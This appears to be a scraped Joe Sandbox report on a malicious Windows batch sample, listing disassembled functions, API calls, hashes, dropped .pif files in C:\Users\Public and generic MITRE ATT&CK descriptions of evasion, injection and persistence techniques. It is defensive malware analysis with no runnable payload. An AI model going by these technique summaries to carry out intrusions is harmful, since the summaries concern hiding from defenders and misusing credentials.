SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D5C7E0

Strings

- , xrefs: 00007FF718D5C7A6

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction ID: e0cc102f887cf4f1236685ebf5e4a65a350bc9eb5616785561388ded8f615944
Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction Fuzzy Hash: 1D318521A08F4A85EB14BB11A445178E6B4BB4DFB0FD84275D99E07B95DF3CE44DC328

Function 00007FF718D57280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF718D572D2
swscanf.MSVCRT ref: 00007FF718D5731F

Strings

:EOF, xrefs: 00007FF718D572E8

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
Instruction ID: e21558fe738b027e712647675cc2b57b4ced1a3f84873971b3681cefa0a7d4e8
Opcode Fuzzy Hash: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
Instruction Fuzzy Hash: 41316431E08F4A86FB14BB15A444278F2B1EF4D770FD58632EADD06295DF2CE44D8668

Function 00007FF718D509F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF718D50A11
wcschr.MSVCRT ref: 00007FF718D50A2B

Strings

=,;, xrefs: 00007FF718D50A24

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswspacewcschr
String ID: =,;
API String ID: 287713880-1539845467
Opcode ID: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction ID: 5033c28191224679497346b7bc36d5742b9ead833b8052889a72e0027e8a3387
Opcode Fuzzy Hash: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction Fuzzy Hash: A1F04421A19F5A81FB64AB02E45017AF5B0FF4CF61FC99232D99D42254DF2CD84CC628

Function 00007FF718D506C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506D6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506F0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D5074D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D50762

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction ID: dec06e250faa5415965adebbbc86acae3a217f4eab025246808695af8dab5c96
Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction Fuzzy Hash: 1A413A72A09B4A86EB14AF10E441179FAB0EF99BA0BD48135DA8D43754DF3CE84DC768

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iuhmzvlH.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Compliance

Spreading

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\alpha.pif

C:\Users\Public\xpha.pif

\Device\Null

Static File Info

General

File Icon

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: cmd.exePID: 2944, Parent PID: 1028

General

Chronological Activities

Analysis Process: conhost.exePID: 5496, Parent PID: 2944

General

Chronological Activities

Analysis Process: esentutl.exePID: 4308, Parent PID: 2944

General

Chronological Activities

Windows Analysis Report
iuhmzvlH.cmd

Function 00007FF718D4AA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536
COMMON

Function 00007FF718D551EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384
COMMON

Function 00007FF718D55554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295
registryCOMMON

Function 00007FF718D537D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269
registrythreadmemoryCOMMON

Function 00007FF718D52978 Relevance: 9.1, APIs: 6, Instructions: 138
COMMON

Function 00007FF718D54A14 Relevance: 7.5, APIs: 5, Instructions: 49
memoryCOMMON

Function 00007FF718D54D5C Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 268
memorylibraryloaderCOMMON

Function 00007FF718D53C24 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 289
COMMON

Function 00007FF718D52394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213
COMMON

Function 00007FF718D50580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82
COMMON

Function 00007FF718D4C620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312
COMMON

Function 00007FF718D47AA0 Relevance: 15.2, APIs: 10, Instructions: 221
COMMON

Function 00007FF718D58D80 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Function 00007FF718D4CA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Function 00007FF718D4BE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120
COMMON